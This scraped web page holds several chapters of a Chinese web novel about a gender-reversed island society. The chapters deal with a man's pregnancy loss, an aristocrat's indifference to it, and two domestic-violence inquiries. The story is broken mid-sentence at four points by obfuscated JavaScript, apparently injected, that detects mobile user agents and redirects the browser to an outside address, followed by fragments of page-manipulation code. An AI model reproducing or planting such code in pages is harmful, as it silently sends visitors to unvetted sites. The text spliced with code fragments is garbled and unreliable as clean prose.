l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930694|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是世界上最美妙的生物,他做梦也想成为一个母亲,但是他又因为害怕不能照顾它而亲手扼杀了这个念头。 怀着这样忐忑的心情,他没有吵醒独孤艾夏,独自一个人蹑手蹑脚地离开了酒店。 他坐在车站前搜索“怀孕后多久可以测出来”,结果有两个:“女性在同房后的7~10天”,“男性在同房的24小时之后”。 呼—— 他舒了一口气,安慰自己说明天一早去医院就可以知道结果了。 可是接下来要去哪里呢? 当然不能去找父母,不能让他们担心。也不能回学校,要是被同学知道的话,一定会被好一顿阴阳怪气,搞不好连名声也会一起坏掉。 虽然天气格外寒冷,但好在当时是假期,就算不回学校也没有关系。 他害怕自己怀孕,也害怕自己没有怀孕,害怕独孤艾夏找到他,害怕岛主嫌弃他只有30年寿命配不上自己的儿子,害怕流产、害怕打针、害怕做检查、害怕摔跤、害怕胎心停跳、害怕上手术台……有太多的事情值得他害怕了! 幸好他身上还带了一些参加演出剩的钱,一共是7500卦,足够撑到让他去医院的了。 除了钱,他今天晚上还得找一个地方住宿才行。酒店不行,尽管手机关机了,独孤艾夏也有可能通过他身份证的登记记录找到他,他现在还没有办法坦然地和艾夏见面,更没有胆量去策划未来。 好吧,或许可以打车平安庄。那里的孕产科医院是孤魂岛最著名的,而且那里有他的初中学哥,这几年他和他们家的关系一直都不错,去他家住两天应该也说得过去…… 第二天,他一大早就迫不及待地准备出门,正在准备早饭的学哥爸爸还问他要去哪里,被他打哈哈给糊弄过去了。 在平安庄第二医院,他双手颤抖着接过了医生递出来的化验报告单。 ——没错,他怀孕了,是三胞胎。 这一刻,他感觉世界离他远去,越来越小,化成了比针尖还要渺小的一点,继而又急速膨胀,笼罩了整个天空和地面。 他真的怀孕了!他真的可以当一个母亲了! 这是他母父多年以来的梦想,也是他自己的梦想。 他似乎能够听见这三个小生命的心跳,是健康强劲的,也可能是他的心跳,砰、砰、砰……总之,一切都像是往好的方向在发展。 他已经23岁了,如果今年生下孩子,虽说只能陪他们七年,但自己这一生也算是圆满了。自己还没毕业就已经走到了事业高光,后来又爱上了岛主的儿子,和她共同孕育了三个生命。 这三个孩子虽然是被男人生出来的,委屈了他们,但是他们继承了岛主的基因,能活的比自己更久,医生说是58岁。 太好了,他将孕育出三个长寿的孩子,是他的孩子! 我要对孩子们负责,在自我死亡之前,一定要给他们找一个好的归宿才行。一定要好好地活着,一定要满怀希望地去体验人生啊,我的宝宝们…… 他这样想着,不自觉泪水流进了甜蜜上扬的唇角间隙,被他抿进了嘴里。 7.孤魂岛 他最终还是把自己怀孕的事情告诉了母父。母父说很高兴他终于想通了,兴冲冲地问他女方是谁?孩子的寿命区间是多长? 他一律都没有回答,脑海里只是不断闪过独孤艾夏的音容相貌。 没过几天,他就和母父一起去学校办了退学。校方非常震惊,不明白像他这样老天追着喂饭吃的天才舞者为什么要突然退学,而他给学校的解释只是简简单单的四个字——心理问题。 后来的一个月,他几乎是住在医院里,连走路都担心,连呼吸都警惕,生怕会突然冲出来一个小孩子撞倒他,也怕路过的汽车尾气会影响胎儿的发育。 可天意终究弄人。 在一个月后本该放下心的时刻,他突然感觉到肚中一阵剧痛。母亲赶忙去找来了医生,医生说情况危急,把他推进了手术室。 麻醉的效果持续了三个小时。他睁开眼听到的第一个消息,就是一个男人用赶时间的语气告诉他,他腹中的一个宝宝窒息死了。 他听到这个消息的瞬间如同五雷轰顶,明明连开口的力气都没有,却发现自己的手抓住了医生的白大褂。他张着嘴似乎在说什么,可却发不出一丝声音。 母亲过去抱住他,父亲掰开了他的手指,和医生说抱歉。 医生见多了这样的场面,倒也理解,低声和他父亲说这孩子可惜了,明明寿命挺长,但是出生的时候压迫到了心脏,这才会只有30年的寿命。 母亲抱着他,尽量挡住他的耳朵,不让他听到这些话。但他明显还是听到了,泪水像黄豆一颗颗落到母亲的肩头,砸进母亲的心里。 他浑浑噩噩地在想,在这个世界上想做一个男人怎么就这么难呢? 他母父都是寿命很长的贵族阶级,可仅仅只是因为生产的时候受到了挤压,就大大缩减了自己的生命。父亲是女人,也没有生过孩子,她无法理解作为母亲的担忧和恐惧。一颗心脏在他体内停止跳动,一个鲜活的生命在他体内陨落,这都是只有血肉相连才能体会到的痛苦。 父亲帮他们买了一些吃的,抱歉地说晚上还要开会,不得不先走一步。临走之际,父亲拥抱了他,说如果11点之前开完会就回来看他,如果实在是太晚就明天见。 他点头目送父亲走出病房,只觉得她能一路支持自己,并放下事情第一时间来看自己,真是不容易。她是世界上最好的父亲。 母亲小心翼翼地把病床摇起来,喂他吃了一些营养丰富的半流食,轻声细语地安慰他,“岩岩,?.?也不想提伤心事。我和你爸爸可以不问你那个女人是谁,也不是要求你必须要振作,可是你肚子里还有两个宝宝呢……哪怕是为了他们能够安然落地,你也要好好吃饭,好好休息才行啊。” 他摸着自己微微凸起的肚子,右眼的泪水流进左眼,刺痛了眼睛。他闭上双眼,一滴像小娃娃一样圆乎乎的泪珠掉进枕头里消失不见了,只在枕巾表面留下一小滩状似血迹的印子。 好容易把他哄睡着,母亲手脚冰凉地摇晃到单人病房外的走廊。他不敢离病房太远,怕男儿有事叫他找不到,只敢站在病房外十几米的距离,用头抵着墙壁,小声呜咽了起来。 ………… 幸好他家里有钱,从开始到孩子出生前,他吃的用的检查的都是最贵的。 胎儿稳定的这三个月里,父亲每天都会来看望他,母亲生怕护工照顾得不好,干脆就一直陪着她住在医院专门招待贵族的VIP花园病房。 可能是心情有所好转的缘故,也有可能是花出去的钱买来了平安,直到临盆的前一天,他身上都再没有发生过任何意外。 他数着手机上从一天一个到一个星期一个的未接来电,时间的进度条很快就拉到了进入手术室的那一天。 手术台上,疼痛已经让他意志不清了。 他看着无影灯,一边拼命用力一边想:只是四个月而已,为什么电话会越来越少?艾夏,你真的不知道我在哪里吗?为什么只是打电话,却始终不愿意来看看我…… 手术室的门前,母亲焦急地反复踱步,父亲坐在椅子上眉头紧锁。 他们已经等了一个小时,还没有任何消息。 又过了半个小时,终于有一个医生走了出来。她急匆匆地,劈头就和父亲说:“第一个孩子生下来了,但是在生第二个孩子的时候,产[男彐(fù)]突然大出血,孩子已经保不住了,正在全力抢救产[男彐]!” 医生说完就跑开了。 母亲只觉得眼前一黑,天旋地转地栽到了父亲怀里。父亲一手抱着母亲,一手拿着电话和秘书说他男儿性命危急,有什么事情统统推后处理。 又不知道经历了多久的等待,面容灰白的他总算是活着离开了手术室。 他醒过来第一眼就看到了自己的宝宝。这皱巴巴的婴孩没有一点像自己,但是好可爱。 那时候,麻醉的药效还没完全过去,他以为自己伸出手抚摸了宝宝的脸蛋,但他的手其实纹丝未动。 不对! 他沉浸在自己和宝宝的甜蜜氛围中,还来不及赶走脸上的微笑,就猛然意识到了什么,嗓音干哑地质问四周因眼花而看不清脸的人们: “我的宝宝呢?我还有一个宝宝呢?!宝宝……我的……” 母亲实在是不忍自己的孩子经历这些,独自背过身去擦眼泪。父亲坐到床边,尽量婉转地告诉他,那个孩子死了,但他还有一个孩子。 “死了?死了……”他一直在摇头,嘴里不停念叨着这个词,像是中邪了一样。 他胆战心惊地过了四个月,每一天都无比的期望孩子能够平安降临,可是死神为什么要一而再再而三地夺走他的孩子? 他无法接受,死也不能。 “不!我的宝宝才没有死!他们是被恶魔给夺走了!” 他一把扯掉了左手上的点滴,鲜血从洁白的手落到更加洁白的被子上。他彻底疯了。 “它不让我拥有孩子……是恶魔抢走了我的孩子!恶魔,你有什么就冲我来啊!为什么要带走我的孩子?!我的宝宝……他们什么都没做错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948552|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们无罪啊……” 他撕心裂肺地哭着,不知不觉间就失去了意识…… 当他再次睁开眼时,有一个女人站在他面前,手里还抱着他的孩子。 他顿时被吓出一身冷汗,下意识想去把宝宝抢回来。 可下一秒钟,他就顿住了。 这个女人是谁? 好眼熟,又极其陌生。 难不成她是……独孤艾夏? 她这个时候来医院是要做什么?是要带走他的宝宝吗? 不行!他已经失去两个宝宝了,不能再失去最后一个了,绝对不行! “把宝宝还给我!” 他踉踉跄跄地爬下病床,红着眼睛往独孤艾夏怀里抓去…… —————— “事情就是这样。”独孤艾夏按灭了最后一支烟。 虽然开着窗子,但是飞车里已经烟雾缭绕了。 独孤艾夏跟她说的版本里省略了很多她男朋友崩溃无助的心理,其中还夹杂了很多她本人的不理解。但巫漓在岛外见过女人版的类似场面,所以很能体会到男友藏在她轻忽语气下的绝望。 “我还没怪他太任性呢,她反倒怨上我了。他莫名其妙地消失了四个月,我当然能查到他在哪家医院,也打过电话,可是他都没有接。如果我直接冲过去,他肯定认为我侵犯了他的隐私,不尊重他的人格,我是为了尊重他才没有这么做的。我看过医院的单子,他这四个月吃穿用度都是最高规格的,我真的不知道他在发什么疯!我想给孩子安排最好的住所和保姆,可是他偏就不准,说什么孩子离开他视线一秒钟都充满了危险,我是孩子的父亲,我能害他吗?” 巫漓总觉得这番话很熟悉,听起来也确实没什么问题,可她从来没有听女人这样说过。 “他流掉了两个孩子,伤心欲绝也很正常啊。” “怀孕有流产的风险是很正常的事情!不管是女人还是男人,怀孕了都有可能流产,就像人活着都随时有可能会死一样。比他生存环境差的人多多了,怎么没见这岛上的男人全都和他一样疯?而且只怀孕四个月就这么叫苦连连的,要是让他们像女人一样怀胎十月,这岛上的男人是不是就可以全部排队去投海了?” 巫漓明白了。 这就是传说中的“事不关己,高高挂起”。 男性生孩子有这么多弊端,不仅会减短寿命,风险还会增加。而这些在独孤艾夏的眼里都不重要。所有的生育风险都化成了维护阶级统治的利器,她居然还把重音放在“怀孕仅需四个月就可以生产”、“怀上多胞胎的概率大”、“不良反应会更轻”这些短句上。 他爹的,这种感觉好熟悉、好讨厌。 果然,人类的悲欢是相对的。岛外的男人理解不了女人生育的艰辛也实属正常,因为就连岛上同样是能生育的女人也不理解男人。 如果贵族阶级的女人男人生育都如此艰辛,那属于底层的人民又会被怎样的阴霾笼罩呢? 巫漓光是想想,就觉得毛骨悚然了。 8.孤魂岛 巫漓不在孤魂岛长大,与独孤艾夏的价值观有很多相违背的地方,所以也不想再和她讨论她男朋友为什么会发疯的问题了。 “你之前说你动摇了,可我还是不太懂,你到底动摇了什么?” 独孤艾夏用一副遗憾的眼神看着她,仍旧是没有直面回答问题,“你还是不明白吗?我岳母和我说这件事情的时候,我想的是:我一会还要去开会,他应该不会讲太久吧,我还来得及去吃晚饭吗?这些男人真是矫情。” 她伸手进烟盒里摸烟,摸了半天才发现烟盒空了,刚好侧身盯着巫漓的眼睛问她:“这下,你知道我为什么要和你说这些了吗?” 巫漓似懂非懂地点了点头。 莫非是自己孩子受到了阶级分化的影响,让她对“[根]制度”产生了怀疑? 还是说…… “你是在为你的儿子和他母亲感到惋惜吗?” 巫漓问完的一瞬间就从独孤艾夏脸上看出来了,她想的绝对不是这个。 果不其然,她说:“这勉强算是一个理由吧,但也不完全对——我是在为孤魂岛惊才绝艳,但不得不臣服于命运的人感到惋惜。” “原来是这样。” 巫漓顿时感到一种惨痛。 身为孤魂岛主的儿子,独孤艾夏不为岛上被寿命划分限制了人生的人惋惜,只为陨落的天才惋惜……不过,这也确实符合上位者最需要关注的焦点。 “看来你还是不懂我真正想要说什么。”独孤艾夏的表情非常犹豫,“这种掉面子的话,看来还是要我亲自说出口,老天才会满意。” “我的确搞不清楚你的意思,而你看起来也很为难。如果这是什么非常难以启齿的话,你也不用非说给我听,反正我只是个外人。” “重点就是因为你是个‘外人’啊!” 巫漓没有看到,独孤艾夏说这句话的时候,默默攥紧了藏在方向盘底下的拳头。 “我才发现,我对孩子他[亻马(mǎ)]没有我想象的这么在乎,我对我儿子的心态更像是对待一个宠物。” “你……” 巫漓还没问出口,独孤艾夏就仿佛是知道她问不出来一般,干脆利落地抢过了话。 “没错,我岳母和我说他有多痛苦的时候,我的情绪比起同情,更多的是厌烦。我觉得他怎么这么矫情,不就是生个孩子吗?又不是杀了他,为什么要反反复复说给我听,耽误我的时间?我在和他同.房的第二天就知道他只有三十年的寿命了,我那时候的同情,比听到他怀孕艰辛的同情还要更多些。但也没有多少。大部分还是对那个舞者天赋的同情。 “后来我也猜过他会怀孕,但是我非常清楚那个孩子活不了多久。除去男人生子的寿命影响,还可能有先天不足等折寿因素,所以那个孩子在我的人生里,充其量就是起到了一个宠物的作用。我母亲不会在乎我多有了一个宠物;我未来的对象也不会在乎一个宠物对他孩子的影响;握有竞选票的岛民更不会在乎我的宠物是女是男,只有同是宠物的人才会在乎。 “可我回过神又想,我们女人才是被赋予了生育权利的人。虽然我们生的孩子不会折寿,但是我们怀孕更加辛苦。如果我拼尽全力生孩子的时候,站在产房外的男人脑子里装的是‘真麻烦,怎么还生不出来?’或者‘我一会还要去工作,在这里等着也太浪费时间了吧’这一等类的想法,我一定会把他的脑袋拧下来。” 果然,世界上只有四种人可以产生共情的情绪——从前经历过的人、当下正在经历的人、未来可能会经历的人,以及想象力极其丰富的人。 巫漓越想越觉得,让男人理解生孩子的痛苦真是任重而道远。 但是,为什么非要让他们理解不可呢? 雄性生物从诞生之初的使命就是播种传承,而非养育。在动植物界,很少有生物能够明确地知道自己的父亲是谁,因为他们的任务就是让雌性生物培育生命,自己则可以迅速投身下一次的“播种”。 动物界知母而不知父,本就是因为“父”常缺其位,以至于他们在动物的成长中并不重要。 生、养、育都是刻在雌性生物DNA里的使命,雄性生物只需要“传播”,所以他们的基因里就注定了他们没有承担后续责任的自觉。他们在进行完一次“传播”之后,只要还没有死亡,就会很快想进行第二次“传播”,这就是所有雄性生物未被开化之前的原始欲.望。 “所以你是想告诉我,你拥有了一部分雄性的思维,但是这些雄性思维在和你脑子里原生的雌性思维碰撞,让你很分裂?” “对,这才是最让我动摇的事情。” 独孤艾夏得到了心仪的答案,面上的愁容可算是减轻了一些,但此前被阴云覆盖住的迷茫露了出来。 巫漓手里握着的玻璃水瓶越来越冷,“我好像……知道你为什么要和我说这些了。” “我是土生土长的孤魂岛居民,理所应当认为这些事情很正常,但是只要稍微换位思考一下,我就会被我的想法吓到。大家都说,岛上的女人代入男人视角就是有病,但我只知道一个道理——没有人想当乞丐,大家都想衣食无忧。《黑姑娘(孤魂岛改编版,故事中黑姑娘成了女王)》的故事中,也没有人想代入一个被欺负到尘埃里的女孩,大家代入的都是未来君临天下的国王。” 独孤艾夏的意思很明确了,大家都想往上爬,哪一方的地位高,另一方就会发自内心地想拥有对方的生活。换到性别上也是一样。 “我不是搞文学的人,对人类思想变化的感知并不算敏锐。既然我都能感受到自身的分裂,那就说明这岛上分裂和矛盾的尸斑已经蔓延到表层了。岛上人人都常念叨‘孤魂岛’这个名字,历年来民间流传的阴谋论也不少,但岛主从来没有正面给出过解释,就连孤魂岛建岛的历史资料也早已消失。 “就和你听到的一样,孤魂岛不仅神秘,而且古怪。因为有和各个大国做过交涉,甚至连岛外的地图上都不存在‘孤魂岛’这个地名。不论岛内岛外,知道孤魂岛建立内情的人屈指可数。如果这是什么光荣的历史,我们的祖先肯定不会想要隐瞒,既然他们选择不公之于众,那意思也就很明确了。” 巫漓的表情也逐渐凝重了起来。 她很喜欢这个小岛,但是不得不承认,孤魂岛还有很大一部分是她不了解的,而在这些地方,很有可能隐藏了一些惨不忍睹的内情。 “可是孤魂岛这么先进繁荣、令人向往。岛外男人都没有觉得这些想法有什么不对,你们只是获得了一部分雄性思想而已,为什么要纠结呢?谁孕育子嗣谁就是母亲,谁负责‘传播’谁就是父亲,父位常缺本就是常态。你身为父亲的时候不上心是本能,当你成为了母亲的时候,责怪父亲的不上心也是本能,你干嘛要和动物与生俱来的天性较真?” 独孤艾夏把飞车驾驶座的门打开了一条缝,车内的灯光忽然全都熄了。 她被阴影笼罩,真的像是在请教问题一样,用求知的语气问巫漓:“你们岛外的女人也会产生和我一样的想法吗?” “啊……当然不会。” “我就知道。” 独孤艾夏本就摇摇欲坠的期待彻底蔫了,眼神也垂了下去。 “那才是本能。像我们这种靠[根]的研发和后天养成的习惯不叫本能,叫变异。” 巫漓被她塞得哑口无言,握着手里已经完全冰冷了的玻璃水瓶,不知道该怎么接她的这句话。 在人类的发展史当中,男人天生确实是没有办法生孩子的,女人纯靠自然也没有办法使别人怀孕。所以独孤艾夏对男友生子的冷漠真的不是本能,而是在孤魂岛上生长出来的后天意识。 “下车吧。”独孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969161|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾夏推开车门走了下去。 巫漓像溺水的人终于得以换气一样,趁她转过去的时候长长地呼了一口气,也推开车门走了下去。 上了电梯,巫漓心想,思想与思想的碰撞如此剧烈,就算吵上三天三夜也辫不出个是非对错,或许这就是这就是最本真的文化交流吧。 独孤艾夏静静地站在电梯里,也没有做声。 她看似面无表情,但心里想的却是:巫漓,或者不管是谁,救救孤魂岛吧,它远远没有看上去的这么漂亮。 ………… 一出电梯,她们就被刚出会议室的岛主助理给叫住了。 “艾夏,你来了太好了,岛主正要找你呢?” “怎么了?” 助理看了一眼巫漓,“岛上又来了一个外来者,极其危险,岛主说她没空,让你和绫冬过去处理。” 独孤艾夏也打量了一下巫漓,看着她那一身手无缚鸡之力的纨绔样子,没忍住笑出了声,不太理解助理说的“危险”是什么意思。 “女人男人?他是带着神兵利刃,还是藏了生化武器?” “她是一个孤身上岛的女孩。” “那能危险到哪去?”独孤艾夏没有很上心,一边听着,一边往自己办公室走去,“她多大年纪了,人生检测系统的结果怎么样?” 助理纠结了一下才说出口:“应该……是个19岁的女孩。” “应该?” “对,因为给她检测年纪的时候,系统最开始显示的是19岁,但后来程序就崩溃了,出来了一大堆乱码。具体情况我已经传给你了,有些错乱的地方也已经尽可能整理成纸质文本放在你的办公室了。” 独孤艾夏加快了步伐。 巫漓觉得这件事情自己应该不方便插手,但是对方也没给自己安排后续去处,所以目前资产为0的她就只能像个挂件一样跟着艾夏走。 “人生检测系统已经很成熟了,怎么会突然崩溃?” “具体情况,技术科那边已经着手分析了,现在还不清楚。” “岛主是要忙着调查家暴案才没空的吗?” “不是,岛主忙着做对付海怪的布防,所以让大祭司协助她儿子来审理那两起家暴案。” 独孤艾夏推门进入办公室,坐到皮椅子上,动作略微顿了一下,抬眼质问助理:“不合理,大祭司和穆伈雨都不擅长侦破案件,反倒是更适合审问外来者,岛主怎么会做这样的安排?” 助理露出了一副无奈的表情,“其实大祭司和穆小姐一开始就去了,但是那个人好像认识穆小姐。为了避嫌,岛主就安排她来主审家暴案。” “伈雨怎么会和岛外的人认识?” “这我就不知道了。” 巫漓站在办公室门口不知所措,在得到独孤艾夏的眼神示意之后,她就挪到了沙发上坐下。 “她除了认识伈雨,以及能让系统错乱之外,还有什么地方值得你说她危险?” 助理看了眼手表,应该是觉得时间还比较充裕,所以并没有加快语速。 “她是突然出现在岛上的。” “这有什么?”独孤艾夏指着巫漓,“她也是突然出现在岛上的,一点预兆都没有,我也没有觉得她危险啊。” “巫小姐好歹是乘船来的,但是那位叶小姐却是突然之间就出现在了岛上,经过排查过之后,我们没有发现任何可疑的交通工具。” “这点确实有些奇怪,还有吗?” “还有就是,她说了一些……很危险的话。” “嗯?” 助手环顾了一圈四周,伸手关上了独孤艾夏办公室的门,压低了声音才敢说: “她说,她看到了一颗从里面溃烂的苹果,她无力拯救,也舍不得扔掉,所以她要挖下那个苹果目前还幸存的籽,再培养出几棵果树。” 9.孤魂岛 从里面溃烂的苹果……好犀利的比喻。 巫漓咬住了嘴唇,眼神忍不住总是瞟向独孤艾夏。 艾夏倒是没有很在乎她的目光,调开了办公桌上的全息投影查看资料,头也没抬地和助理说:“好我知道了,你先去找绫冬吧,我一会自己过去。” “好。” 正当助理准备拉开办公室木门的时候,独孤艾夏却叫住了她。 “等一下。” 助理驻足转身过来,“还有什么事吗?” 独孤艾夏声音很小,但是每个字都异常清晰地问她:“她有没有说过,这颗苹果是什么时候烂掉的?” 巫漓也颇为好奇地看向助理。 而助理只是瞬间出了一身的冷汗。 “岛主也问过这个问题……叶小姐说,她看到这是一颗被人摘下又丢弃的苹果,它为了生存下去,在没有土壤的地方进化出了心脏,但是它早在被摘下的时候就已经死了。” “嗯,去忙吧。” ………… 助理出去之后,巫漓来到独孤艾夏的身边。 全息屏幕上有一个女孩的全身图像,图像旁边有她的各项指标,但全都被代表着危险的红字和一堆代码给取代了。整个页面,唯一用黑体字写着的只有女孩的名字——[叶无歆]。 “为什么名字没标红?你们确定她叫这个名字吗?”巫漓问。 独孤艾夏飞速操纵着指尖鼠标,“我们只在乎她的危险程度,至于名字,叫什么都不重要。” 巫漓靠在桌子上,食指点着下巴,很是疑惑,“所以包括名字在内,她的所有数据你们都不能确定?” “目前看来是这样的。” “奇怪了,你们真的确定她是岛外的人吗?孤魂岛的科技比岛外的超前很多,我目测你们那个系统是直接检测生物基体数据的,应该不会出现所有数据全体标红这么离谱的事情吧?” “具体情况,还要我去亲眼看过才能知道。” 独孤艾夏的阅读速度极快,她查阅完叶无歆的数据就站了起来,整理好纸制资料就往外走。 巫漓往外追了两步,“你就这么走了,那我怎么办?” “你乖乖在办公室呆着,一会儿伈雨会来接你。” “是那个大祭司的儿子?” “对,你和伈雨一起负责那两起家暴案。” “哦……啊、我?” 巫漓不可置信地指着自己。 独孤艾夏拍了拍她的肩膀,无奈地说:“是岛主刚刚发信息通知我的。这也是没办法的事情,最近岛上的事情太多,大家都没空,只能拜托你了。” “可我完全不知道你们岛上的法律呀,让、让我审案子……我、我从来没……” 一座大山压到巫漓身上,她连话都说不利索了。 “没事,你就当伈雨的助理,她让你做什么就做什么,慢慢学着就会了。不然你还得在岛上住一段时间,岛主和大祭司都说你是一个可用之才,你要是什么都不学,没有一点价值也怪可惜的。不如就从侦破案件开始慢慢学习,说不定你以后还可以有一番作为呢。” “可……可是…… 独孤艾夏又说了几句让她安心,可以先吃着东西等穆伈雨,自己忙完就回来找她之类的话就走了。 巫漓一个人在艾夏的办公室里翻她的零食吃。 大概过了十几分钟,一位打扮相当时尚的年轻女人推开门走了进来。 她长相极为俊美,巫漓几乎在一瞬间就认出了她是大祭司的女儿。 “你好,你就是穆伈雨?” “我是。”穆伈雨嘴里含着一颗清凉糖,满不在意地上下瞅了一圈巫漓,“你就是那个岛外来的傻小子?” 巫漓听到她这么说有点不爽,直接当着她的面就翻了一个白眼。 “傻小子不敢当,敢问这位小祭祀有什么指教?” 穆伈雨觉得眼前这个姑娘的脾气和自己有几分相似,半开玩笑地笑着说:“从今天起,你就跟我了。” “很用不着,”巫漓不屑地摆手,“岛主已经把我安排给独孤艾夏了。” “艾夏那家伙忙着呢,你跟她在一起有什么好玩的?再说了,她自己的男儿都忙不赢照顾呢,能照顾得了你?” 穆伈雨直接就伸手把巫漓拽了起来。 “行了,别在这磨磨唧唧的,岛主说要让你和我一起查案,接下来我有一大堆事情要做呢,你最好别给我添乱。” 巫漓被她拽着往外走,踉跄着问:“我们现在要去哪里啊?” “废话,当然是去找嫌疑人问口供咯。” “大祭司不去吗?” “我妈?她去了干嘛?” “独孤艾夏不是说你和大祭司一起审理这两起案子吗?” “哦,那是说给别人听的,我妈只是最后在法庭上起到一个震慑性的作用而已,实际上不参与调查。” “为什么?” “因为她查案从来不讲证据,虽然从结果上来看还没有错过,但是不足以让人信服。” 巫漓想到自己初见大祭司时,她那一套行云流水但是看不懂的神奇操作,瞬间理解了岛主的用意。说不定大祭司比自己还不通晓岛上的审案程序呢,确实不方便让她来主导调查。 进了电梯,她叉腰瞪向穆伈雨,“喂,你是不是也应该稍微给我普及一下孤魂岛的法律,或者至少跟我介绍一下案子的情况啊?不然我一无所知的,怎么帮忙啊?” “唉,忘了,你还没有登录系统。”穆伈雨已经点开了手表才突然想起来,“本来照我的性子,录入信息就是分分钟的事情,但是岛上的正规程序特别麻烦,可能要到今天傍晚,你的系统和手表手机什么的才能弄好。真是麻烦,没办法直接把资料传给你。” “你就不能口头和我说一下吗?” “你怎么这么多废话?我上车再和你说。” 电梯和之前的一样,没有什么失重感,很快就从43楼降到了负二层。 穆伈雨的飞车和独孤艾夏的不一样,这是一辆粉红色流线型,内部还有流光的飞车。 在车上,她和巫漓讲述了两起家暴案件截止到目前为止的情报—— 第一起家暴案件的当事人并没有报警,是邻居家的大叔听到隔壁发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984369|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了巨大的争执,甚至出现了剧烈的打斗声,所以代替他们报了警。 女方叫钟耀言,是当地某石油厂的厂长。 男方叫胡胜女,之前是护士,结婚之后就成了全职夫夫(同:太太)。 案发当晚,邻居突然就听到了剧烈的争吵和打斗声,似乎是没有任何预兆的暴力冲突。邻居和他们多年来的关系都很好,一开始急忙跑过去敲门,但迟迟没有人应门,于是就报了警。 第二起家暴案件的影响相当恶劣。 目前已知的情报是,女方被打到重伤进了ICU,至今昏迷不醒。 “我去找过第二起案件的男方了。他说自己本来家世显赫,但是和妹妹争夺家产失败,就被父亲[男家(jià)]到了不如他们的女方家。可女方实在是个花花公主,天天出去喝酒剽倡,他实在是忍无可忍,就说了女方几句,没想到女方居然恼羞成怒,大冬天的把男方扔在偏僻大街上。这次的暴力事件也是因为女方先动手,男方自卫之下,一不小心把女方磕到了桌角上,致使女方昏厥。案发后,男方也是手足无措了半天,最终去警局自首。因为男方事出有因,立场更像是受害者被逼无奈以至防卫过当,所以压根就没有拘留。” 巫漓看着穆伈雨的侧脸,不自觉有点出神。 她的五官不算特别立体,也不算特别精致,但是组合起来就有种独特的俊秀感。 “你到底有没有在听我说话啊?”穆伈雨看见巫漓出神,这样问她。 “啊……有!”巫漓心虚地捋了一下耳边的发丝说,“我们现在是要去找第一个案件的两位当事人吗?” 穆伈雨确认了,巫漓就是没有认真听她说话。 “我已经去问过第二起案件的当事人了,现在就两条路,不去第一案的当事人那里,难不成我直接载你回家睡觉吗?” “哦,这样啊……” “麻烦你听别人说话的时候好歹走点心好不好?这也太敷衍了。你要是没有睡够觉的话,我今天晚上可以给你下几片安眠药,省得明天你也这样心不在焉的,耽误事儿。” 虽然穆伈雨一路都在怼她,但巫漓偏偏就是觉得她的这个性子没什么弯弯绕,让人感觉很舒服。 “欸对了,”巫漓忽然想到,“就算大祭司不方便主导调查,她也可以用你们家传的秘法给我们提供一个‘解题思路’呀!你有没有找她帮忙过?” 这次轮到穆伈雨翻白眼了,“你真的以为我妈整天闲着没事干啊?” 巫漓也很无奈,“我确实不知道大祭司的工作嘛。如果她不方便的话,身为她独子的你总该会一点吧,你有没有提前窥探到点什么?” “没有,当年我妈教的时候没好好听,只会点三脚猫功夫,什么都看不出来。” 穆伈雨回答得很干脆,整句话里没有一丝停顿。 她在话落的一瞬间猛然惊觉到了什么,用余光瞟向巫漓,幸好对方没有发现什么。 她居然在刚才的语序中漏掉了主语,把“当年我妈教我的时候”省略成了“当年我妈教的时候”。 看来她在说谎上的造诣还是不太够,以后得勤加练习才行。 11.孤魂岛 穆伈雨走出审讯室,问旁边的警察:“你们有去他们家里调查过吗?” “有的,他们家里有几处地方的家具有被轻微损坏的痕迹,但似乎是钟耀言生气时自己弄的,她后来也承认了。其余没有什么疑点。” “现在没有证据可以证明家暴情况属实,当事人双方也都说这是一场误会,你们做完口供和笔录就可以放他们回去了。” “好的。” 巫漓随意翻着手里的笔记本,跟穆伈雨往停车场走去。 “你就这么放他们回去了?” “不然呢?你要是还有什么想问的,现在折回去也还来得及。” “我倒是没有什么要问他们的了,但是……你真的相信他们说的话吗?” “不信啊。” “那你……” 巫漓还没说完,穆伈雨就毫不客气地打断了她,“我问你,我们是来干嘛的?” “查家暴案。” “对了,我们是来查家暴案件的。既然当事人双方都说不存在家暴事实,他们身上和家里也确实都没有留下什么暴力的痕迹,那么就说明这很有可能只是一场误会。我们一没证据,二没理由,凭什么一直把人家关着?” “可是他们真的很可疑呀!” 